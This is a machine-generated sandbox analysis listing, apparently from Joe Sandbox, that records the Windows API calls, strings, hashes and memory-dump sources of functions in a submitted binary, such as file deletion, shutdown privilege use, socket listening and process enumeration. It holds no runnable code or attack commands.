Instruction ID: 75b396850887187c4d1204baad542c8d684d0bb4c4f89ab804b290a03769c98d
Opcode Fuzzy Hash: e362ebb1a6b1f6f6a2e8ed951ff8f2a7150af9ca287a2ffc4435ba06971c8ae3
Instruction Fuzzy Hash: 1351D27180515C9ACF01EBA0DA92EEDB7B9AF15310F600069E446B7191EF362F4EDF51

Function 00F2F3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00F2F440
Sleep.KERNEL32(0000000A), ref: 00F2F470
_wcscmp.LIBCMT ref: 00F2F484
_wcscmp.LIBCMT ref: 00F2F49F
FindNextFileW.KERNEL32(?,?), ref: 00F2F53D
FindClose.KERNEL32(00000000), ref: 00F2F553

Strings

*.*, xrefs: 00F2F425

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 5512fffeb8db90a349477e3e0080b9cebfe07462e7233e89b6f2884d0d169c3e
Instruction ID: 14e05edd59973da005ddb2c12eda37d99b630f11b617712e5fe0e5630d9fbc1e
Opcode Fuzzy Hash: 5512fffeb8db90a349477e3e0080b9cebfe07462e7233e89b6f2884d0d169c3e
Instruction Fuzzy Hash: B9417B71C1021A9BCF10EF64DC49AEEBBB4FF55320F14407AE819A2291DB319A89EF50

Function 00ED3030 Relevance: 11.1, APIs: 4, Strings: 2, Instructions: 587COMMON

Download Yara Rule

Strings

_, xrefs: 00ED3322
3c, xrefs: 00ED3225

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __itow__swprintf
String ID: 3c$_
API String ID: 674341424-4099079164
Opcode ID: 381421522b91dc4e2ad2c77745a6188595230bb59831dcdbd3cd143ad3ce26fe
Instruction ID: de5c9f310c3201e8c358b6121ab20a4a72d1f224ae7b0c1121474a9266fa4551
Opcode Fuzzy Hash: 381421522b91dc4e2ad2c77745a6188595230bb59831dcdbd3cd143ad3ce26fe
Instruction Fuzzy Hash: 7A229A716083019FC724DF24C981BAEB7E4EF84314F00592EF89AA7391DB75E946DB92

Function 00ED5760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00ED58A5
_memmove.LIBCMT ref: 00ED58F5
_memmove.LIBCMT ref: 00ED595B

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: c91f487fdd75745c87b16c0ff8245a788778d291680da5aa335c3272f4c38b7b
Instruction ID: b66201acff6b68044cf9f24e096bfb5ad4e8721e77c5170b23a4646a9c507f52
Opcode Fuzzy Hash: c91f487fdd75745c87b16c0ff8245a788778d291680da5aa335c3272f4c38b7b
Instruction Fuzzy Hash: 3E12A971A00609DBDF04CFA5DA81AEEB3F5FF48310F10552AE806B7290EB76AD91DB50

Function 00F23B12 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00EC4743,?,?,00EC37AE,?), ref: 00EC4770

Part of subcall function 00F24A31: GetFileAttributesW.KERNEL32(?,00F2370B), ref: 00F24A32

FindFirstFileW.KERNEL32(?,?), ref: 00F23B89
DeleteFileW.KERNEL32(?,?,?,?), ref: 00F23BD9
FindNextFileW.KERNEL32(00000000,00000010), ref: 00F23BEA
FindClose.KERNEL32(00000000), ref: 00F23C01
FindClose.KERNEL32(00000000), ref: 00F23C0A

Strings

\*.*, xrefs: 00F23B5B

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: efed34373b3a70ae3596d1ea2d58f1cb3606c28baa212087bf9f19634ded1226
Instruction ID: d5fb6f4d0b2644583931431a19a3cb95a6362a0e692a27ed9afbee60fefb0daa
Opcode Fuzzy Hash: efed34373b3a70ae3596d1ea2d58f1cb3606c28baa212087bf9f19634ded1226
Instruction Fuzzy Hash: 6931B0710083959BC300EF24D991DAFB7E8AEA5310F401D2DF8E5A2191EB35DA0EDB53

Function 00F251BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00F187E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00F1882B
Part of subcall function 00F187E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00F18858
Part of subcall function 00F187E1: GetLastError.KERNEL32 ref: 00F18865

ExitWindowsEx.USER32(?,00000000), ref: 00F251F9

Strings

, xrefs: 00F251E7
SeShutdownPrivilege, xrefs: 00F251C9
@, xrefs: 00F251EC

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 874f36feab9ed0b7cf71afbe7160d9743d9ed8fb6b18244b60934f49830a488d
Instruction ID: 5026eac0291a6e63f5fce4e4f69c9a3538ff93fc6850b708ce06869f752a84ba
Opcode Fuzzy Hash: 874f36feab9ed0b7cf71afbe7160d9743d9ed8fb6b18244b60934f49830a488d
Instruction Fuzzy Hash: 61017B36B91635ABF7282268BC8BFBB7258EB15B60F240421FD07E20C2DA745C01B190

Function 00F36283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00F362DC
WSAGetLastError.WSOCK32(00000000), ref: 00F362EB
bind.WSOCK32(00000000,?,00000010), ref: 00F36307
listen.WSOCK32(00000000,00000005), ref: 00F36316
WSAGetLastError.WSOCK32(00000000), ref: 00F36330
closesocket.WSOCK32(00000000,00000000), ref: 00F36344

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 631122b776d2b58d7ad8334f921c9672d75d96b78cf7816e339b3aed743d1b83
Instruction ID: 521232559b28256a1032463dd07d98364a0f1afe719b93518a0b0ac32d5051ab
Opcode Fuzzy Hash: 631122b776d2b58d7ad8334f921c9672d75d96b78cf7816e339b3aed743d1b83
Instruction Fuzzy Hash: 6E21BB35600204AFCB10AF64CD49B6EB7E9EF49724F148168E81AE7392CB70AC05EB51

Function 00ED5520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 00EE0DB6: std::exception::exception.LIBCMT ref: 00EE0DEC
Part of subcall function 00EE0DB6: __CxxThrowException@8.LIBCMT ref: 00EE0E01

_memmove.LIBCMT ref: 00F10258
_memmove.LIBCMT ref: 00F1036D
_memmove.LIBCMT ref: 00F10414

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: ffb5ec9f6f81d1c0850f8ba29eccff000a1c322fb6d28cfac1a1cfa669c4b99e
Instruction ID: 3651767b0f4dec64c9cd0c0756fc226933af404b7926d245896149a1f3d025a7
Opcode Fuzzy Hash: ffb5ec9f6f81d1c0850f8ba29eccff000a1c322fb6d28cfac1a1cfa669c4b99e
Instruction Fuzzy Hash: DC02D071A00209DBCF04DF64D981AAEBBF5FF44310F14806AE80AEB355EB75D991DB91

Function 00EC1287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00EC2612: GetWindowLongW.USER32(?,000000EB), ref: 00EC2623

DefDlgProcW.USER32(?,?,?,?,?), ref: 00EC19FA
GetSysColor.USER32(0000000F), ref: 00EC1A4E
SetBkColor.GDI32(?,00000000), ref: 00EC1A61

Part of subcall function 00EC1290: DefDlgProcW.USER32(?,00000020,?), ref: 00EC12D8

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 60115f0ca3b5a12b7a7b5007d2badc17267de45e27fc46f887c274056398dabc
Instruction ID: 9b8805347d9570e476ff86a038dab066bac2aab767787f0b2401fa487abd7fc6
Opcode Fuzzy Hash: 60115f0ca3b5a12b7a7b5007d2badc17267de45e27fc46f887c274056398dabc
Instruction Fuzzy Hash: BEA12A71106548BAE628AA298E44FFF399CDB83349B14315EF613F5193CB27DD03A6B1

Function 00F2BCBC Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00F2BCE6
_wcscmp.LIBCMT ref: 00F2BD16
_wcscmp.LIBCMT ref: 00F2BD2B
FindNextFileW.KERNEL32(00000000,?), ref: 00F2BD3C
FindClose.KERNEL32(00000000,00000001,00000000), ref: 00F2BD6C

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 6dc4aed23cc34f0fb7bf3065bd1b2be275c5292af20d52238ba0834b8e226220
Instruction ID: c024eacb3e62cba533261844786b90375c7a263da07d863b965019abeaa41b4e
Opcode Fuzzy Hash: 6dc4aed23cc34f0fb7bf3065bd1b2be275c5292af20d52238ba0834b8e226220
Instruction Fuzzy Hash: B151AC36A046129FC718DF28D890EEAB3E8FF49320F50461DE95A973A1DB30ED05DB91

Function 00F36747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00F37D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00F37DB6

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00F3679E
WSAGetLastError.WSOCK32(00000000), ref: 00F367C7
bind.WSOCK32(00000000,?,00000010), ref: 00F36800
WSAGetLastError.WSOCK32(00000000), ref: 00F3680D
closesocket.WSOCK32(00000000,00000000), ref: 00F36821

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 43da73eedf4a4a175dc84814773aaa93f49d390499e2eff5bac8eea55b4771e1
Instruction ID: 8febbff9f0a160552c3bd6da97dcd08f996704b3ed7df552e749542b3c92554a
Opcode Fuzzy Hash: 43da73eedf4a4a175dc84814773aaa93f49d390499e2eff5bac8eea55b4771e1
Instruction Fuzzy Hash: 2D41C376A00204AFDB10AF248E86F6E77E8AF49724F44845CFD1AAB3D3CA759D019791

Function 00F45376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00F453C5
IsWindowEnabled.USER32 ref: 00F453D3
GetForegroundWindow.USER32(?,?,00000001), ref: 00F453E0
IsIconic.USER32 ref: 00F453EE
IsZoomed.USER32 ref: 00F453FC

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 17f568b93485a041c62375313d1ae0547db1ab742cd1547b59da617e98776c7c
Instruction ID: c474773421f239bfbd5e73ab02d9c970a9ace2a4c6db78e3b78dd568b7b25d45
Opcode Fuzzy Hash: 17f568b93485a041c62375313d1ae0547db1ab742cd1547b59da617e98776c7c
Instruction Fuzzy Hash: EC1108327005146FEB206F26DC44B6F7F99EF45BA0B04402CFC45D7242CB70DC029690

Function 00F180A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00F180C0
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00F180CA
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00F180D9
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00F180E0
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00F180F6

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: bca4e3fa84dfcdc3ad84283e5a5059df6c92555a88d8785ca7867a3235077634
Instruction ID: 6ef2b1c2a79db2b8d8165dd32fa509b138b3090928a3342be8b67deea1388955
Opcode Fuzzy Hash: bca4e3fa84dfcdc3ad84283e5a5059df6c92555a88d8785ca7867a3235077634
Instruction Fuzzy Hash: F1F06835240208BFE7100FA5DC8DEA73BACEF867A5B000025F949D6151CB619C46EA60

Function 00EC4B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00EC4AD0), ref: 00EC4B45
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00EC4B57

Strings

kernel32.dll, xrefs: 00EC4B40
GetNativeSystemInfo, xrefs: 00EC4B51

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: a2822527ce1a21daf0561409b01dcc9c0cd05a83b00aa7cdbf23e18075947262
Instruction ID: f4dfcd288449cdd9b8a574e68d11d962d6f9222f45173b88d7832b5692a182a7
Opcode Fuzzy Hash: a2822527ce1a21daf0561409b01dcc9c0cd05a83b00aa7cdbf23e18075947262
Instruction Fuzzy Hash: 99D0C2B4A00B17CFC7208F31D928F4676E4AF82388B10883E9889D2190D670D884D614

Function 00F3EE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00F3EE3D
Process32FirstW.KERNEL32(00000000,?), ref: 00F3EE4B

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

Process32NextW.KERNEL32(00000000,?), ref: 00F3EF0B
CloseHandle.KERNEL32(00000000,?,?,?), ref: 00F3EF1A

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: a00465d31c6821ee7b50e2e56e6127cda2e087e8af877aed6a4f8c8301db754d
Instruction ID: 415f8191fa6eacb3825bd42aaf4df92eba4755c26e214988af139f9ba97b6155
Opcode Fuzzy Hash: a00465d31c6821ee7b50e2e56e6127cda2e087e8af877aed6a4f8c8301db754d
Instruction Fuzzy Hash: BB5190715043049FD310EF20CD85F6BB7E8EF94710F10582DF995A72A1EB71A909CB92

Function 00F1E616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00F1E628

Strings

|, xrefs: 00F1E658
(, xrefs: 00F1E66E

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: c8616a594ff45f7818a6e4b2f64d2ffc5f2dbd46418c58da3cbe8de9dcbe8dbe
Instruction ID: 8c90db8025071f269fdc17880de39d05e3eb5dbcb963fe7137fce54e155c77bc
Opcode Fuzzy Hash: c8616a594ff45f7818a6e4b2f64d2ffc5f2dbd46418c58da3cbe8de9dcbe8dbe
Instruction Fuzzy Hash: 5B322775A007059FD728CF19C481AAAB7F1FF48320B15C56EE89ADB3A1E770E981CB40

Function 00F322EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00F3180A,00000000), ref: 00F323E1
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00F32418

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: ad83595989f00e13955beffe38d8fee9b974e7a96eec12655d0445d85edcf59a
Instruction ID: 0d9e71b0cf03356ecf6502d6678b042a16b3566b3fe7c052842afa258f350c40
Opcode Fuzzy Hash: ad83595989f00e13955beffe38d8fee9b974e7a96eec12655d0445d85edcf59a
Instruction Fuzzy Hash: 8241F372904209FFEB50DE95DC81FBFB7BCEB40734F10402AFA05A6141EA759E41B660

Function 00F2B3FB Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00F2B40B
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00F2B465
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00F2B4B2

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: efe819e65d5e31edfac5f0ae9b30639590f8c1d702cb298633efbb5a53f88566
Instruction ID: 94cc3913ce91b45c369120f07e8d88da17fd66ff1b26d82489a6836274c8fca3
Opcode Fuzzy Hash: efe819e65d5e31edfac5f0ae9b30639590f8c1d702cb298633efbb5a53f88566
Instruction Fuzzy Hash: 54215135A00518DFCB00EF55D884EEDBBB8FF49314F1480A9E905AB351CB319955DB51

Function 00F187E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

